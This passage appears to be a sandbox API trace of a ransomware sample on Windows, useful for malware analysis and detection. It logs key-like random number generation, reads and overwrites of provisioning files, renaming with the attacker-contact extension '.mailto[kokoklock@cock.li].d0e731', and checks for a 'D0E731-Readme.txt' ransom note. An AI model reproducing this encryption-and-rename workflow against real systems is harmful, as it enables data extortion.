[0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0xcf7457f7 [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0xdf5bc48e [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0xa4dc28a6 [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x3cf9a5b1 [0087.715] RtlRandom (in: Seed=0x2fc3fcf8 | out: Seed=0x2fc3fcf8) returned 0x7feb2efc [0087.726] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2bd, lpNumberOfBytesRead=0x2fc3fcec, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2fc3fcec*=0x2bd, lpOverlapped=0x0) returned 1 [0087.726] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fc3fcb4 | out: lpNewFilePointer=0x0) returned 1 [0087.726] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2bd, lpNumberOfBytesWritten=0x2fc3fce8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2fc3fce8*=0x2bd, lpOverlapped=0x0) returned 1 [0087.726] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcac0 [0087.726] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.726] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcac0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fc3fce4, lpOverlapped=0x0 | out: lpBuffer=0x55dcac0*, lpNumberOfBytesWritten=0x2fc3fce4*=0x20, lpOverlapped=0x0) returned 1 [0087.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcac0) returned 1 [0087.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.726] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dca70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2fc3fd10, lpOverlapped=0x0 | out: lpBuffer=0x55dca70*, lpNumberOfBytesWritten=0x2fc3fd10*=0x8, lpOverlapped=0x0) returned 1 [0087.726] WriteFile (in: hFile=0x3d0, lpBuffer=0x2fc3fd28*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fc3fd10, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fd28*, lpNumberOfBytesWritten=0x2fc3fd10*=0x4, lpOverlapped=0x0) returned 1 [0087.726] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fc3fd10, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2fc3fd10*=0x4, lpOverlapped=0x0) returned 1 [0087.726] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2fc3fd10, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2fc3fd10*=0x6c, lpOverlapped=0x0) returned 1 [0087.727] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fc3fd10, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x2fc3fd10*=0x20, lpOverlapped=0x0) returned 1 [0087.727] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fc3fd10, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2fc3fd10*=0x4, lpOverlapped=0x0) returned 1 [0087.727] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) returned 1 [0087.727] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.727] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dca70) returned 1 [0087.727] CloseHandle (hObject=0x3d0) returned 1 [0087.727] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18c) returned 0x33fc9c8 [0087.727] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" [0087.727] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.727] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.728] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.728] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.728] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.728] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.728] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.728] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.728] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.728] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.728] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8b40) returned 1 [0087.728] RtlExitUserThread (Status=0x1) Thread: id = 1376 os_tid = 0x1418 [0087.729] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.730] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.730] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.730] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2fcbfa7c | out: lpFileSize=0x2fcbfa7c*=646) returned 1 [0087.730] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x282, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.730] ReadFile (in: hFile=0x3d0, lpBuffer=0x2fcbfa50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fcbfa4c, lpOverlapped=0x0 | out: lpBuffer=0x2fcbfa50*, lpNumberOfBytesRead=0x2fcbfa4c*=0x4, lpOverlapped=0x0) returned 1 [0087.731] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.732] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7f0 [0087.732] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.732] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dca70 [0087.732] NtQuerySystemTime (in: CurrentTime=0x2fcbfa28 | out: CurrentTime=0x2fcbfa28*=132121176456257144) returned 0x0 [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0xed09867 [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0xddac26ee [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x8febaa94 [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0xb948be5e [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0xeeb9c5b9 [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x9fa26a88 [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x2d6ae607 [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x11836ad0 [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0xebb9e3cf [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x26ce81e5 [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x9310fb18 [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x8e34bc2f [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0xeab35786 [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x79a7888 [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x2fcc9bf7 [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x6441841c [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0xabcecba5 [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0xfa9ea1f7 [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x90bec0cb [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0xbdb31d0b [0087.732] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x7bb68c21 [0087.733] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0xb77403aa [0087.733] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0xbc033c3d [0087.733] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x47bd098c [0087.733] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x95f77021 [0087.733] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0xeb48bc01 [0087.733] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x88652530 [0087.733] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x72608cf2 [0087.733] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x8e252e10 [0087.733] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x762672ac [0087.733] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0xc8f2c976 [0087.733] RtlRandom (in: Seed=0x2fcbfa34 | out: Seed=0x2fcbfa34) returned 0x651572cb [0087.745] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x2fcbfa28, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2fcbfa28*=0x286, lpOverlapped=0x0) returned 1 [0087.745] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcbf9f0 | out: lpNewFilePointer=0x0) returned 1 [0087.745] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x286, lpNumberOfBytesWritten=0x2fcbfa24, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2fcbfa24*=0x286, lpOverlapped=0x0) returned 1 [0087.745] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcac0 [0087.745] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.745] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcac0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fcbfa20, lpOverlapped=0x0 | out: lpBuffer=0x55dcac0*, lpNumberOfBytesWritten=0x2fcbfa20*=0x20, lpOverlapped=0x0) returned 1 [0087.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcac0) returned 1 [0087.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.745] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dca98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2fcbfa4c, lpOverlapped=0x0 | out: lpBuffer=0x55dca98*, lpNumberOfBytesWritten=0x2fcbfa4c*=0x8, lpOverlapped=0x0) returned 1 [0087.746] WriteFile (in: hFile=0x3d0, lpBuffer=0x2fcbfa64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fcbfa4c, lpOverlapped=0x0 | out: lpBuffer=0x2fcbfa64*, lpNumberOfBytesWritten=0x2fcbfa4c*=0x4, lpOverlapped=0x0) returned 1 [0087.746] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fcbfa4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2fcbfa4c*=0x4, lpOverlapped=0x0) returned 1 [0087.746] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2fcbfa4c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2fcbfa4c*=0x6c, lpOverlapped=0x0) returned 1 [0087.746] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fcbfa4c, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x2fcbfa4c*=0x20, lpOverlapped=0x0) returned 1 [0087.746] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fcbfa4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2fcbfa4c*=0x4, lpOverlapped=0x0) returned 1 [0087.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) returned 1 [0087.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dca98) returned 1 [0087.746] CloseHandle (hObject=0x3d0) returned 1 [0087.746] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18c) returned 0x33fc9c8 [0087.746] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" [0087.746] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.746] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.747] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.747] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.747] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.748] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.748] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.748] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.748] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.748] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d9b60) returned 1 [0087.748] RtlExitUserThread (Status=0x1) Thread: id = 1377 os_tid = 0x141c [0087.749] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.749] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.749] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.749] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2fd3fdc4 | out: lpFileSize=0x2fd3fdc4*=642) returned 1 [0087.750] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x27e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.750] ReadFile (in: hFile=0x3d0, lpBuffer=0x2fd3fd98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fd3fd94, lpOverlapped=0x0 | out: lpBuffer=0x2fd3fd98*, lpNumberOfBytesRead=0x2fd3fd94*=0x4, lpOverlapped=0x0) returned 1 [0087.751] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.751] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7f0 [0087.751] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.751] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dca98 [0087.751] NtQuerySystemTime (in: CurrentTime=0x2fd3fd70 | out: CurrentTime=0x2fd3fd70*=132121176456413611) returned 0x0 [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x648c8a2e [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x5a8a532 [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x6d354902 [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x7ac3995 [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x92abbc56 [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0xbff47e0b [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x4967181 [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0xeea80266 [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x8a9484c5 [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x94ff5593 [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: Seed=0x2fd3fd7c) returned 0x60aefea1 [0087.751] RtlRandom (in: Seed=0x2fd3fd7c | out: 